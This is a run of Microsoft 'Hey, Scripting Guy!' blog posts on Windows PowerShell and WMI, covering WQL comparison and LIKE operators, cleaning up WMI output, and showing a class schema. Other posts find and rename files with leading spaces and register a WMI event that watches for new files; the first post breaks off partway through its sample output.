Hey, Scripting Guy! Question  Hey, Scripting Guy! Your WMI blogs this week have been awesome. I have learned a lot about using WMI that I did not know. One thing you mentioned yesterday was the operators, but you only talked about using the equals’ operator. I would like to see some examples of using the different operators.

—SM

Hey, Scripting Guy! Answer Hello SM,

Microsoft Scripting Guy, Ed Wilson, is here. The Scripting Wife decided to surprise me this morning. She told me that she was going to take me out to lunch. Now this is something she never does. In fact, on many days during the week, she will actually bring food to my desk to keep me working through lunch. I, on the other hand, prefer to get up from my desk and actually enjoy eating my food elsewhere during lunch. I also like to do a bit of reading while I am eating lunch. Currently, I have the Encyclopedia Mysteriosa on the table. The short articles are perfect for perusing during lunch. I am not doing anything like actually reading through in sequence; instead, I open random pages and begin reading. It is the literary equivalent to diving into a box of assorted chocolates without reading the schematic on the lid (sorry Forest Gump). So the Scripting Wife found a new German Restaurant that we went to for lunch. I love German food, so it was a special treat (although we had iced tea instead of one of the other beverages that Germany is famous for).

Understanding and using WQL operators in a WQL query

The WQL operators are fairly straightforward to use. It really only takes a bit of practice to use them effectively. In addition, the comparison operators are pretty basic, and they do not have many idiosyncrasies.

Using not equal

For example, to use the not equal operator (<>), you express a condition on the left side of the operator and specify that that condition does not equal what is placed on the right side of the operator. This is easier than it sounds. For example, the clause appearing here says that the state is not equal to stopped. If this condition was for services, running and paused services would be allowed through the filter, but stopped services would be filtered out of the result.

where state <> 'stopped'

The query that follows returns the name and the state properties from services, but it only does this if the state of the service is not equal to stopped. The Get-WmiObject cmdlet is used to perform the query, and a table is created that lists the name and the state of each service.

$query = "Select name,state from win32_service where state <> 'stopped'"

Get-WmiObject -Query $query | Format-Table name, state

The image that follows illustrates running this query and shows a sample of the output from the query.

Image of command output

The following table lists comparison operators that are used in WQL.

Operator

Meaning

=

Equal

<> 

Not equal

Less than

Greater than

<=

Less than or equal

>=

Greater than or equal

!=

Not equal

This table shows that the not equal operator (<>) can also be written as (!=). This is shown here:

$query = "Select name,state from win32_service where state != 'stopped'"

Get-WmiObject -Query $query | Format-Table name, state

Using the greater than or less than operators

The greater than and the less than operators work with letters and numbers. For example, in the following query, the name of each process is selected from all the Win32_Process objects. But this only takes place if the name is less than the letter ‘e’. To make it easier to understand, the results show that the Select-Object cmdlet selects the name, and the Sort-Object cmdlet sorts the output based on the name property. The query and the results from calling the query are shown here.

PS C:\> $query = "select name from win32_process where name < 'e'"

PS C:\> Get-WmiObject -Query $query | select name | sort name

 

name

----

armsvc.exe

BTStackServer.exe

BTTray.exe

btwdins.exe

conhost.exe

csrss.exe

csrss.exe

CxAudMsg64.exe

dpupdchk.exe

dwm.exe

DZSVC64.EXE

Flipping the operator from less than to greater than, produces a list of the other processes. The only thing that appears a bit strange is that the explorer.exe process appears in this listing. But that is because “ex” is “greater than” ‘e’. The query is shown here:

$query = "select name from win32_process where name > 'e'"

Get-WmiObject -Query $query | select name | sort name

Using the less than or equal to operator

The less than or equal to operator filter values that are equivalent to or less than a particular value. In the query that follows, the name and the processID properties from the Win32_Process class are chosen, but only if the processID value is less than or equal to 1004. When evaluating numbers, they do not need to be placed inside quotation marks. The query, and the information associated with the query are shown here:

PS C:\> $query = "select name, processID from win32_process where processID <= 1004"

PS C:\> Get-WmiObject -Query $query | select name, processID | sort processID

 

name                                                                       processID

----                                                                       ---------

System Idle Process                                                                0

System                                                                             4

smss.exe                                                                         316

svchost.exe                                                                      336

csrss.exe                                                                        448

svchost.exe                                                                      456

svchost.exe                                                                      504

wininit.exe                                                                      572

csrss.exe                                                                        580

services.exe                                                                     620

lsass.exe                                                                        644

lsm.exe        &nbsp

Use the Like Operator to Simplify Your WQL Queries

$
0
0

Summary: Learn how to simplify your WQL queries by using the like operator and special wildcard characters.

Hey, Scripting Guy! Question Hey, Scripting Guy! OK, I can see that using WMI queries might be cool. But I do not like having to always specify exact properties and values. Is it possible to use wildcard characters for some of this stuff?”

—SC

Hey, Scripting Guy! Answer Hello SC,

Microsoft Scripting Guy, Ed Wilson, is here. The Scripting Wife was rummaging around, and she decided to use some of our hotel points to go to Myrtle Beach, South Carolina for the weekend. I guess she did not think it was hot enough in Charlotte, North Carolina. I said, “OK,” because basically, I am going to be working on the finishing touches for my TechReady presentation in Seattle. I find working while I am looking out the window at the beach relaxing, and I can feel the stress ebbing away with each passing wave. The cool thing about Windows Server 2012 is that is has the real Hyper-V built into it, so I can run multiple virtual machines on my laptop. Sweet!

So, SC, you want to use some wildcards in your WQL queries…

Using the like operator

Symbol

Meaning

[ ]

Character in a range [a-f] or a set of characters [abcdef]

^

Character not in a range [^a-f] or not in a set [^abcdef]

%

Any string of zero or more characters

_ (underscore character)

Any one character.
Note  A literal underscore used in the query string must  be escaped by placing it inside square brackets [_]. 

Use like in a WQL query and look for a range

To use the like operator in a WQL query and look for a range of characters, use the square brackets. In the following example, the notepad process starts. Next, a WQL query is created that uses the like operator and the range. A range of letters from H through N is created by using the WQL range characters [H-N]. The square brackets, are placed inside the string that like uses in the search. Here any process from hotpad.exe through notepad.exe will be returned by the query.  

PS C:\> notepad

PS C:\> $query = "Select * from win32_Process where name like '[H-N]otepad.exe'"

PS C:\> Get-WmiObject -Query $query | select name, processID

 

name                                                                       processID

----                                                                       ---------

notepad.exe                                                                     1740

You can combine the range operation with the percent wildcard character to create simple, yet powerful filters. In the code that follows, everything is selected from the Win32_Process WMI class where the name begins with a letter in the range from A – P, and is followed by zero or more letters in any combination. The Get-WmiObject cmdlet executes the query, and chooses only the name and the process ID. The output is sorted by name. The code is shown here:

$query = "Select * from win32_Process where name like '[A-P]%'"

Get-WmiObject -Query $query | select name, processID | sort name

The code and the output associated with the commands are shown in the image that follows.

Image of command output

Use like in a WQL query and look for characters not in a range

Sometimes you know what you do not want to know, but you are not certain what you really want to know. The not in a range character is the caret (^). You do not need to create a consecutive range of characters. In fact, you do not need to even supply the characters in order. In the following query, no process that  begins with one of the letters ASWPRCU or N followed by any other letter will be retrieved. The Get-WmiObject cmdlet is used to execute the query, and the name and processed properties are selected. Next they are sorted by name.  

$query = "Select * from win32_Process where name like '[^ASWPRCUN]%'"

Get-WmiObject -Query $query | select name, processID | sort name

The output appearing in the following image illustrates running this query and the output associated with the query.

Image of command output

Use a wildcard character with your WQL query

The most useful character to use with the like operator is the percent character “%.” The percent character will match zero or more characters. It is equivalent to the asterisk “*” character. In the following example, a WQL query first looks for a process named calculator.exe, but nothing returns from the query. Next, the wildcard character is used and the WMI query returns the requested data.

PS C:\> $query = "Select * from win32_Process where name like 'calculator.exe'"

PS C:\> Get-WmiObject -Query $query | select name, processID

PS C:\> $query = "Select * from win32_Process where name like 'calc%'"

PS C:\> Get-WmiObject -Query $query | select name, processID

 

name                                                                       processID

----                                                                       ---------

calc.exe                                                                        4424

Using a single character wildcard with WQL

Sometimes, you want a very focused filter. In the query shown here, any process named anything from calc.exe through czlc.exe will match, in addition to other characters that may appear in process names.

PS C:\> $query = "Select * from win32_Process where name like 'c_lc.exe'"

PS C:\> Get-WmiObject -Query $query | select name, processID

 

name                                                                       processID

----                                                                       ---------

calc.exe                                                                        4424

In the following query, the process with the name WLIDSVC.exe produces one match.

Note   When using the like operator without any wildcards or range operators, you basically have an equality operation; and therefore, you will only get an exact match.

$query = "Select * from win32_Process where name like 'WLIDSVC.exe'"

Get-WmiObject -Query $query | select name, processID

By using the underscore character for a one-letter wildcard like operation, you do not match the WLIDSVC.exe process, but rather you match the WLIDSVCM.exe process.

$query = "Select * from win32_Process where name like 'WLIDSVC_.exe'"

Get-WmiObject -Query $query | select name, processID

By using the percentage sign wildcard character, you match both of the processes.

$query = "Select * from win32_Process where name like 'WLIDSVC%.exe'"

Get-WmiObject -Query $query | select name, processID

The three queries and the resulting output are shown in the image that follows.

Image of command output

SC, that is all there is to using the like operator in a WQL query. WMI Week will continue tomorrow when I will talk some more about performing WMI data queries.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 


Weekend Scripter: Clean Up Your WMI Data Output in PowerShell

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, shows you how to use Windows PowerShell to clean up your WMI data output.

Microsoft Scripting Guy, Ed Wilson, is here. So far the Scripting Wife has been scarce. She got up before sunrise (I believe) and headed out to points unknown. Actually, I believe she had scheduled a “chicks breakfast” with her friends who are hanging out down here in Myrtle Beach, South Carolina (and no, it was not a PowerShell Chicks User Group breakfast). But that is OK, because it means that I get to fend for myself. And with a beach, ocean, and tons of cool things to do within walking distance, fending for one’s self was never easier. There is even wifi on the beach—the only trick is to avoid getting sand in one’s laptop.

The problem with extra “stuff” in a WMI query

The problem of getting “extra stuff” back when you do a WMI data query has been around since Windows PowerShell 1.0 (even longer if you count the beta period). But to be honest, it is not that you get extra stuff back when you perform a WMI query, it is that certain WMI classes have a default output that is configured via the types.ps1xml file. For example, the image that follows illustrates the portion that shows the format XML information for the Win32_BIOS WMI class.

Image of command output

When you perform a basic WMI query, the default display formats the output. This is because the basic query (no specifically requested properties) matches the System.Management.ManagementObject#root\cimv2\Win32_BIOS type that is specified in the format XML file. This information is shown here:

PS C:\> gwmi win32_bios | gm | select typename -Unique

 

TypeName

--------

System.Management.ManagementObject#root\cimv2\Win32_BIOS

When I use the Property parameter or I perform a custom WQL query, the returned type changes; and therefore, it does not match the type that is defined in the types.ps1xml file, as shown here.

PS C:\> gwmi win32_bios -property name | gm | select typename -Unique

 

TypeName

--------

System.Management.ManagementObject#\Win32_BIOS

 

PS C:\> gwmi -q "select name from win32_bios" | gm | select typename -u

 

TypeName

--------

System.Management.ManagementObject#\Win32_BIOS

Filtering out the system properties

So what is the “extra stuff” that comes back when a custom WMI query runs? They are system properties. One of the nice things about WMI is that all of the system properties begin with a double underscore ( __ ). In addition, all system WMI classes begin with a double underscore. When you run a WMI query that selects only the name property, a whole bunch of system properties also return. This is shown here:

PS C:\> gwmi -q "select name from win32_bios"

 

__GENUS          : 2

__CLASS          : Win32_BIOS

__SUPERCLASS     :

__DYNASTY        :

__RELPATH        :

__PROPERTY_COUNT : 1

__DERIVATION     : {}

__SERVER         :

__NAMESPACE      :

__PATH           :

Name             : Default System BIOS

One way to clean up the output is to filter these properties by using a range in either Format-Table or Format-List as shown here:

PS C:\> gwmi -q "select name from win32_bios" | fl [a-zA-Z]*

 

Name             : Default System BIOS

Scope            : System.Management.ManagementScope

Path             :

Options          : System.Management.ObjectGetOptions

ClassPath        : Win32_BIOS

Properties       : {Name}

SystemProperties : {__GENUS, __CLASS, __SUPERCLASS, __DYNASTY...}

Qualifiers       : {dynamic, Locale, provider, UUID}

Site             :

Container        :

 

PS C:\> gwmi -q "select name from win32_bios" | ft [a-zA-Z]*

 

Name     Scope    Path     Options  ClassPat Propert SystemP Qualifi Site    Contain

                                    h        ies     roperti ers             er

                                                     es

----     -----    ----     -------  -------- ------- ------- ------- ----    -------

Defau... Syste...          Syste... Win32... {Name}  {__G... {dyn...

Unfortunately, in Windows PowerShell 2.0, that filter trick quit working because no sooner do you get rid of one group of system properties, than another group of system properties appears. It does not matter, whether you use the Format-Table cmdlet or if you use the Format-List cmdlet—the extra system properties appear to be here to stay.

Using Format-Table or Format-List

If you specifically choose the properties in your WMI query, you also need to specifically choose them in the Format-Table or Format-List query. This technique is shown here:

PS C:\> gwmi -Property name -Class win32_bios | ft name

 

name

----

Default System BIOS

 

PS C:\> gwmi -Property name -Class win32_bios | fl name

 

name : Default System BIOS

There are at least two things “wrong” with this approach. The first is that once you use a Format-Table, Format-List, or Format-Wide cmdlet, you cannot do anything else with your pipeline because the object is now gone. In other words, the format* cmdlets destroy the pipeline. What is the difference?  Well, it can be seen by examining the object in the pipeline.

In the first example, we see that we have a win32_bios management object.

PS C:\> gwmi -Property name -Class win32_bios | gm | select typename -u

 

TypeName

--------

System.Management.ManagementObject#\Win32_BIOS

But following the pipeline to the Format-List cmdlet, we no longer have a management object at all. Instead they are all format-related objects as shown here.

PS C:\> gwmi -Property name -Class win32_bios | fl name | gm | select typename -

 

TypeName

--------

Microsoft.PowerShell.Commands.Internal.Format.FormatStartData

Microsoft.PowerShell.Commands.Internal.Format.GroupStartData

Microsoft.PowerShell.Commands.Internal.Format.FormatEntryData

Microsoft.PowerShell.Commands.Internal.Format.GroupEndData

Microsoft.PowerShell.Commands.Internal.Format.FormatEndData

Remove the “extra stuff” and retain the object

The best way to remove the “extra stuff” is to use the Select-Object cmdlet. This cmdlet removes the “stuff” and retains the object-oriented nature of the data. This means that you can do other things with it. In the command that follows, the Name and the ProcessID properties from the Win32_Service WMI class are chosen from the WMI data. Next, the Select-Object cmdlet chooses the same properties. Now they are sent to Get-Member, and the typename is displayed. This is shown here:

PS C:\> gwmi -Property name, processID -Class win32_Service | Select name, processID

| gm | select typename -u

 

TypeName

--------

Selected.System.Management.ManagementObject

Now, what does this look like when it is displayed to the Windows PowerShell console? The following is a partial output (note that there are no system properties).

PS C:\> gwmi -Property name, processID -Class win32_Service | Select name, processID

 

name                                                                       processID

----                                                                       ---------

AdobeActiveFileMonitor6.0                                                       2036

AdobeARMservice                                                                 1776

AeLookupSvc                                                                        0

ALG                                                                                0

AppIDSvc                                                                           0

Appinfo                                                                          504

AppMgmt                                                                            0

aspnet_state                                                                       0

AudioEndpointBuilder                                                             456

AudioSrv                                                                         336

AxInstSV                                                                           0

BDESVC                                                                             0

BFE                                                                             1920

BITS                                                                             504

Browser                                                                            0

bthserv                                                                         2796

But what about the object itself? Look at what Get-Member displays. We have created a custom management object with two properties: Name and ProcessID.

PS C:\> gwmi -Property name, processID -Class win32_Service | Select name, processId

| gm

 

   TypeName: Selected.System.Management.ManagementObject

 

Name        MemberType   Definition

----        ----------   ----------

Equals      Method       bool Equals(System.Object obj)

GetHashCode Method       int GetHashCode()

GetType     Method       type GetType()

ToString    Method       string ToString()

name        NoteProperty System.String name=AdobeActiveFileMonitor6.0

processId   NoteProperty System.UInt32 processId=2036

Because this is still a management object, we can continue to use Windows PowerShell to massage the data. As shown here, we can use the Sort-Object cmdlet to sort the data, and we can use the –Last parameter to choose the last two services.

PS C:\> gwmi -Property name, processID -Class win32_Service | sort name | Select name

, processId -Last 2

 

name                                                                       processId

----                                                                       ---------

wudfsvc                                                                          456

WwanSvc                                                                            0

One thing that can simplify things is to list the properties that you are interested in obtaining in an array, and then use them directly in your Get-WmiObject and your Select-Object queries. In this way, you only need to type them once. Because I do not like typing quotation marks, I create a single string with the CSV list of property names. Then I use the Split operator to create my array. The thing to keep in mind is to not put spaces between the property names. This code is shown here:

$property = "Name,started,StartName" -split ","

gwmi -p $property -cl win32_service | select $property

When you have the properties in an array, you can use them as often as you want without the need to retype them. In the example that follows, the Format-Table cmdlet is used to display a table of service information.

$property = "Name,started,StartName" -split ","

gwmi -p $property -cl win32_service | select $property | ft $property –AutoSize

The use of the commands and their associated output is shown here:

Image of command output

Well, that is about it for right now. The Scripting Wife will be back soon (I imagine), and then she was talking about going to do something. No idea what—just something. But hey, we are at the beach, so there is bound to be something going on. Maybe we can found the Myrtle Beach Windows PowerShell Users Group while we are down here.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

Weekend Scripter: Easily Find Schema of a WMI Class Via PowerShell

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, shows how to easily find the schema of a WMI class by using Windows PowerShell.

Microsoft Scripting Guy, Ed Wilson, is here. Well it is exactly two months until the Windows PowerShell Saturday in Charlotte, North Carolina in the United States. You should definitely make plans to attend. Our available speaker slots are pretty much filled. Cool! We will offer three tracks, and we did not even need to call for speakers. I LOVE the Windows PowerShell community!

We will have a Beginner track, an Applied track (Windows PowerShell with Active Directory, SQL Server, SharePoint, Exchange, and so on), and an Advanced track. On the Advanced track, we will be doing the first ever Iron Scripter competition. This competition is like the Iron Chief, but with cmdlets instead of carbs. Can an advanced scripter really take only four Windows PowerShell cmdlets and create a tasty meal? Check it out. It should be educational and downright fun as well.

Registration is not yet open, but when it does, the 200 tickets will go quickly. We sold out the first Windows PowerShell Saturday in Columbus Ohio in 13 days. I anticipate this one will sell out even sooner. For many attendees, this will be their first chance to see some of the amazing stuff that you can do with Windows PowerShell 3.0 and Windows Server 2012.

Finding the schema of a WMI class the easy way

Anyone who has read the Hey, Scripting Guy! Blog for very long knows that when I talk about WMI, I do not write very much before I show you the Windows Management Instrumentation Tester (WBEMTest). One of the main things I look at in the WBEMTest is the schema of the WMI class that I am investigating. For example, the schema for Win32_CurrentTime (an abstract class) is shown in the image that follows.

Image of command output

Click, click, click is not my idea of the easy way to retrieve the Managed Object Format (MOF) for a WMI class. It is easier to use Windows PowerShell to do this. In fact, I can do this in the following two lines of Windows PowerShell code:

$mof = ([wmiclass]"Win32_currenttime").gettext("mof") -replace "\;","`r"

$mof | clip ; notepad

There are a couple of things that are pretty cool about this little bit of code. The first is using the [wmiclass] type accelerator to obtain a reference to a specific WMI class. The [wmiclass] type accelerator returns a ManagementClass Class .NET Framework object. The ManagementClass class is very powerful, and it contains numerous methods and properties. The one I am interested in today is the GetText Method. The GetText method accepts a single value—the format of the textual representation to create. This is easy, because there is only one accepted value: a MOF representation. Therefore, our code so far looks like the following:

ManagementClass accelerator

WMI class name

GetText method

Format

[wmiclass]

Win32_CurrentTime

GetText

MOF

When I run the command, things are a bit jumbled. The jumbled output is shown in the image that follows.

Image of command output

To clean up the output a bit, I need to do a few things to the text. I replace semicolons with a carriage return, and the output cleans up nicely as shown here:

 -replace "\;","`r"

So I have the output I want, and I store it in a variable. This line of code is shown here:

$mof = ([wmiclass]"Win32_currenttime").gettext("mof") -replace "\;","`r"

The next code uses no real Windows PowerShell commands, but it is Windows PowerShell code. I take the contents from the $mof variable and pipe them to the clipboard by using the clip.exe utility that is built into Windows. Next, I use the semicolon to create a new logical line, and I call notepad to allow me to easily paste the MOF syntax for the Win32_CurrentTime WMI class into a fresh Notepad for easier examination. This line of code is shown here:

$mof | clip ; notepad

When I type and run the commands, nothing appears in the Windows PowerShell console. This can be seen in the image that follows.

Image of command output

But the MOF of the WMI class is actually on the clipboard, and a new instance of Notepad appears. Therefore, all I need to do is use the CTRL + V key combination to paste it to Notepad. The resulting Notepad is shown here.

Image of command output

Well, this is enough fun for today. If you want to play around, explore using the SendKeys method from the Wscript.Shell COM object to automate this last step. Like I said, it would be just playing, because there are better ways to write to a file. For my needs, I like having the MOF on the clipboard.

Join me tomorrow as we begin a new week about the Script Center.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy

Use PowerShell to Detect and Fix Files with Leading Spaces

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, shows how to use Windows PowerShell to detect and to fix files that have leading spaces in the file name.

Hey, Scripting Guy! Question Hey, Scripting Guy! I am hoping that you can help me. We have a rather strange problem at work, and if I do not get to the end of it, I am afraid I might be looking for a new job. The reason is that for some reason we are getting files that have a leading space in the file name on one of our storage servers. This is only part of the problem because our backup program is rather old. It works—except that it fails when it finds a file with a leading space in the file name. You might say we should upgrade our backup program, and that would be fine, except that our tape array is no longer supported and new backup programs do not have the correct driver. I know, I know, I know. But, for now, I need to figure out a way to detect files that are getting this leading space in the file name. As luck would have it, the way we found out that the files were not getting backed up is that our CEO corrupted one of the files that had the leading space in it, and when we attempted to restore the file, we discovered the problem. Of course, we did not replace the guy who was in charge of backups and who must have been the last planet to know about the software and the old tape array, but no one wants to hear about that. Well anyway, now I am “on notice” and I am really hoping you can help me.

—KS

Hey, Scripting Guy! Answer Hello KS,

Microsoft Scripting Guy, Ed Wilson, is here. Wow! KS, I am sorry things have not been going so well for you recently. I am really saddened to hear about your problems at work. To be honest, I do not think I have ever created a file with a leading space in the name—don’t know why I would want to do so. As a matter of a fact, I am not certain that until I read your email to scripter@microsoft.com, I even knew that one could create a file with a leading space in it.

The first thing I decided to do was to create a file with a leading space in it. I opened Windows File Explorer, and created a new text file with 10 leading spaces. This is shown in the image that follows.

Image of menu

But when I pressed ENTER, it seems that Windows Explorer stripped out the leading spaces. This is shown in the image that follows.

Image of menu

Of course, the best way to check this is to use Windows PowerShell. To do this, I run the following Windows PowerShell code, which gets the length of the file name, and uses the Trim string method to remove excess spaces. Nothing returns, which lends credence to my suspicion.

PS C:\a> gci -Recurse | % { if($_.name.length -ne $_.name.trim().length) { "file with space"}}

KS, based on this easy test, it would seem that Windows File Explorer, at least, does not permit creating files with spaces at the beginning of the name. So someone is using some other method to create the files. If I am going to test my code, I need a quick easy way to create files with leading spaces. To do that, I need to use Windows PowerShell. I create a function called New-FilesWithLeadingSpaces. This function accepts three parameters. The first is the path to create the files, and the second is a base file name parameter. I set the default value to myfile.txt, but you could use any string you choose to do this. The final parameter is Count, which tells the function how many files to create. Inside the function, I have a for loop that counts up to the Count property. Inside the loop I create a space padding string that I prepend to each FileBaseName. Of course the ItemType is file. Here is the new New-FilesWithLeadingSpaces function:

Function New-FilesWithLeadingSpaces

{

 Param([string]$path = "c:\test",

       [string]$FileBaseName = "myfile.txt",

       [int]$count)

  For($i = 0; $i -le $count ;$i ++)

    { $pad = " " * $i

     New-item -Path $path -Name "$pad$FileBasename" -ItemType file}

} #end function new-FileWithLeadingSpaces

When I run the script, I bounce over to the Windows File Explorer, and it is obvious that Windows does, in fact, permit files with a leading space—KS, a fact unfortunately of which you are painfully aware. The Windows File Explorer results are shown here:

Image of menu

So, I created a new function called Get-FilesWithLeadingSpaces. This function accepts a single parameter, Path, which specifies from whence the search begins. Next, the Get-ChildItem cmdlet with the –recurse switch is used to return the FileInfo objects that are piped to the Foreach-Object cmdlet. Inside the loop, the length of a file name is compared with the length of the file name after using the Trim method to remove any trailing spaces. Using the Trim string method is perfect for this application. The following illustrates using Trim. First, a variable that holds five spaces and the word fiveSpaces is created. That value displays and shows that there are five spaces preceding the value. Now, the Trim method is called to remove the spaces. This is shown here:

PS C:\a> $name = "     fiveSpaces"

PS C:\a> $name

     fiveSpaces

PS C:\a> $name.Trim()

fiveSpaces

If the length of the trimmed file name is not equal to the file name, it means that it contains either leading or trailing spaces. Therefore, the file name displays to the console. The complete function is shown here:

Function Get-FilesWithLeadingSpaces

{

 Param([string]$path = "c:\a")

 Get-ChildItem -Path $path -Recurse |

 foreach-object {

   if($_.name.length -ne $_.name.trim().length)

    { "$($_.basename) contains a leading space"} }

} #end function Get-FilesWithLeadingSpaces

When the function loads and is run, the output in the Windows PowerShell ISE appears as shown here:

Image of command output

If there was only one file, renaming it might not be too bad. But in the case of my example, if I renamed each file after removing the leading spaces, I would end up with a bunch of duplicate files. Therefore, I decided to add a counter number to the file name after renaming it. Renaming a file in Windows PowerShell is trivial because there is a Rename-Item cmdlet that takes a Path and a new Name parameter. Rather than creating a new function with much of the same capabilities of the Get-FilesWithLeadingSpaces function (such as detecting files that have a leading space in the name, I decided instead to add a Rename switch to rename the files with leading spaces in the name. Adding a switched parameter is super easy in Windows PowerShell—all you do is use the [switch] type constraint in front of the variable name as shown here:

[switch]$rename

Because I wanted an easy way to create a unique file name, I added a counter variable at the Begin portion of the Foreach-Object command. In the Begin portion, I set the value of the $count variable to 0. This appears here.

-Begin {$count = 0}

When I detect that I have a file name with spaces either before or after the file name, I check to see if the $rename switch appears. If it does, the Rename-Item cmdlet renames the file. The path is the FullName property from the FileInfo object. The FullName property contains the complete path to the file, and it should always be used when working with files that are discovered via the Get-Item cmdlet (this is one good property name to remember). Next, the new name needs to be created. First I take the BaseName property—that is the file name without the path or the file extension. I trim that BaseName, and then I use the count number from the $count variable. Lastly, I add back in the file extension. The file extension is always available from the Extension property. If at any time you are not certain of what properties you have available to you, use the Get-Member cmdlet to display the properties of your file. This technique is shown here:

PS C:\a> Get-Item .\myfile.txt | Get-Member -MemberType property

 

   TypeName: System.IO.FileInfo

 

Name              MemberType Definition

----              ---------- ----------

Attributes        Property   System.IO.FileAttributes Attributes {get;set;}

CreationTime      Property   System.DateTime CreationTime {get;set;}

CreationTimeUtc   Property   System.DateTime CreationTimeUtc {get;set;}

Directory         Property   System.IO.DirectoryInfo Directory {get;}

DirectoryName     Property   System.String DirectoryName {get;}

Exists            Property   System.Boolean Exists {get;}

Extension         Property   System.String Extension {get;}

FullName          Property   System.String FullName {get;}

IsReadOnly        Property   System.Boolean IsReadOnly {get;set;}

LastAccessTime    Property   System.DateTime LastAccessTime {get;set;}

LastAccessTimeUtc Property   System.DateTime LastAccessTimeUtc {get;set;}

LastWriteTime     Property   System.DateTime LastWriteTime {get;set;}

LastWriteTimeUtc  Property   System.DateTime LastWriteTimeUtc {get;set;}

Length            Property   System.Int64 Length {get;}

Name              Property   System.String Name {get;}

The newly added rename clause appears here.

if($rename)

      {

        Rename-Item -Path $_.fullname -NewName ("{0}{1}{2}" -f `

         $_.basename.trim(),$count,$_.extension)

        $count++

        }

The complete function is shown here:

Function Get-FilesWithLeadingSpaces

{

 Param(

       [string]$path = "c:\a",

       [switch]$rename

       )

 Get-ChildItem -Path $path -Recurse |

 foreach-object -Begin {$count = 0} -process {

   if($_.name.length -ne $_.name.trim().length)

    {

     if($rename)

      {

        Rename-Item -Path $_.fullname -NewName ("{0}{1}{2}" -f `

         $_.basename.trim(),$count,$_.extension)

        $count++

        }

     else

      {"$($_.basename) contains a leading space"}} }

} #end function Get-FilesWithLeadingSpaces

After I run the function, I go back into the Windows File Explorer to see if it worked. As shown here, it worked perfectly.

Image of menu

KS, that is all there is to using Windows PowerShell to detect files that have leading spaces. Join me tomorrow for more good Windows PowerShell stuff.

I invite you to follow me on Twitter and Facebook. If you have any questions, send email to me at scripter@microsoft.com, or post your questions on the Official Scripting Guys Forum. See you tomorrow. Until then, peace.

Ed Wilson, Microsoft Scripting Guy 

Use PowerShell to Monitor for the Creation of New Files

$
0
0

Summary: Microsoft Scripting Guy, Ed Wilson, shows how to use Windows PowerShell to monitor for the creation of new files.

Microsoft Scripting Guy, Ed Wilson, is here. Yesterday’s email from KS about his problems with files that contain leading spaces in them got me thinking. Although running a script on demand to find and rename files in a folder might work, it would be better to use an event to monitor the folder for newly created files. Then if the files match the naming pattern discovered yesterday, rename them by using the procedure from the script I posted yesterday in Use PowerShell to Detect and Fix Files with Leading Spaces.

Note   For more information about WMI event driven scripts, see An Insider’s Guide to Using WMI Events and PowerShell.

Today I am going to develop a WMI event query to detect newly created files in a particular folder. Then I will use this WQL event query tomorrow to create a permanent WMI event consumer. In fact, whenever I am creating a permanent WMI event consumer, I always test it out as a temporary event consumer first. Creating a temporary event consumer with Windows PowerShell 2.0 is really easy, so it only makes sense to take this first step.

Creating a WMI WQL event query

The hardest part of creating a WMI WQL event query is, well…just about everything. This stuff does not make much sense. Luckily, if you have WQL event query from VBScript or some other language, it is not too difficult to migrate the query to Windows PowerShell.

When you start trying to do this, however, you run into weird quoting rules that only make a confusing situation more confusing. Luckily, Windows PowerShell can bring some sanity to this part of the process. The secret is to use a here-string. Here-strings are really finicky (they make Morris the Cat seem like an omnivore). The basic syntax is to use a variable to hold the resulting here-string. The here-string begins with an ampersand and an opening quotation mark: @". Everything inside the here-string is interpreted literally so you do not need to worry with escaping special characters or quotation marks or any of that stuff. The here-string closes with a closing quotation mark ampersand: "@.

There are two rules that you must follow:

  1. Immediately after the opening tag @", hit ENTER. Do not press the spacebar and then ENTER; you need the return right after the @".
  2. The closing tag ("@) must be in position 1 of its own line. You cannot place it at the end of your last line of text, nor can you indent to make things “line up.” It must be in the first position of its own line.

I referred to an old Hey Scripting Guy! Blog, How Can I Automatically Run a Script Any Time a File is Added to a Folder, which was written nearly eight years ago in VBScript. Guess what? The query was just the thing I needed to refresh my memory for creating my new query. Here is the VBScript query from that blog.

("SELECT * FROM __InstanceCreationEvent WITHIN 10 WHERE " _

        & "Targetinstance ISA 'CIM_DirectoryContainsFile' and " _

            & "TargetInstance.GroupComponent= " _

                & "'Win32_Directory.Name=""c:\\\\scripts""'")

You can see where the use of a here-string vastly simplifies things by allowing me to forget about line continuation and having to escape quotation marks and other things. But also you can see how having a nice reference query, even from an eight-year old VBScript script, is also beneficial.

Note   This is ONE of the major reasons I insisted on migrating all of the old Hey Scripting Guy! Blogs to the new Hey, Scripting Guy! Blog format four years ago when I became the Scripting Guy. I knew that a lot of that old code was easily adaptable to Windows PowerShell and would be useful for years to come.  

The WQL query itself is not too horribly bad. It begins by selecting everything from the __InstanceCreationEvent WMI class. This class is a generic event class, and it will monitor for new instances of “stuff.” It can be anything from a new entry in an event log to a new file. The problem with monitoring for a newly created file is that a file must reside somewhere—for example, inside a directory. To find a file in a directory by using WMI means that we need to use an association WMI class.

The Cim_DirectoryContainsFile WMI class associates files and directories. When working with association classes, there is always a property that relates one to the other. Here we are looking for the GroupComponent portion of the association. GroupComponent is an instance of the Win32_Directory WMI class. Because we are interested in a particular directory, we need to use the Key property for GroupComponent. Here, the key is the name of the folder. The name of the folder uses POSIX notation; therefore, it requires \\\\ (four back slashes). The query is shown here.

$query = @"

 Select * from __InstanceCreationEvent within 10

 where targetInstance isa 'Cim_DirectoryContainsFile'

 and targetInstance.GroupComponent = 'Win32_Directory.Name="c:\\\\test"'

"@

Register the WMI event

Now I need register the WMI event. In Windows PowerShell 2.0 and Windows PowerShell 3.0, this is really easy. I use the Register-WmiEvent cmdlet and specify the WQL query. I also need to create a value for the SourceIdentifier property so I can monitor the job. Here, I register the WMI event by using the query contained in the $query variable, and I specify a SourceIdentifier of MonitorFiles.

Register-WmiEvent -Query $query -SourceIdentifier "MonitorFiles"

